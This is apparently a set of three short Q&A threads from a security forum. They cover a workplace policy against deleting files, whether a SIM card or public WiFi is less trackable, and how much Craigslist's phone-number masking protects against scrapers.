It sounds like he is strong arming the least privilege principle because, like I said, I can technically do my work... Just in a very error prone, not efficient, against the grain kind of way.

Obviously, security and convenience are often at ends, but my question is: Assuming there is no outright requirement to save intermediary datasets from analysis, is it standard practice to not allow deleting of files anywhere?

Edit:  I work for an advertising company.  None of the data I'm referring to here has PII.  In addition, the data in these folders is deleted 30 days after creation.

Whether or not this is standard is going to depend on your specific industry.

Not knowing anything about yours or the nature of your projects, I can say this is a standard practice for data under legal hold, where a company is anticipating litigation and don't want to be accused of destroying evidence. Or the company wants to be able to demonstrate prior art in the event of patent litigation.


Which is less trackable by online services, using a SIM card or free wifi? I cannot do anything about government agencies, but I doubt that they are interested in me.

I do not like the idea of Google, FaceTweet, etc, compiling data on me.

What's the best way to prevent them doing so, if I purchase a smartphone - buy a pay as you go (unregistered) SIM, or use only public WiFi? Would a Linux 'phone make a major difference?

The SIM card is always the same and some mobile ISP actually add information related to the SIM to each HTTP request (not HTTPS). The public WiFi you use does not need to be the same though. Thus in theory using different public WiFi could provide more privacy.

But in practice the tracking is less done by IP address and more based on information on the device itself: cookies and cache related information in the browser, device-specific ids of mobile apps etc. Thus, unless you first and rigorously care about these trackable information the choice of SIM vs. WiFi or iOS vs. Android vs. whatever does not actually matter.


What benefit is there to Craigslist's phone number masking? Instead of including their phone number within the post body, Craigslist users are encouraged to enter their phone number in a separate input field. Then, when the post is displayed, a button appears in the post body:

When you click on the button, Craigslist makes an XHR request that fetches the entire body of the post, including the phone number, and replaces the existing body with the newly fetched body.

How is this more secure? If I'm writing a scraper, all I have to know is the post ID and the URL format of that XHR request and I can get the phone number. So what makes this more secure?

As a side question, is there a better way to protect user phone numbers? I'm creating a product where user phone numbers will be publicly accessible (as they are on Craigslist) and I want to protect them as much as possible.

That type of approach does drastically reduce the scraping because it makes it much more complex to do.

Note that there is no ideal way to block it completely since they want the information to be available to the other users.  With OCR systems, even placing it as an image is still far from perfect.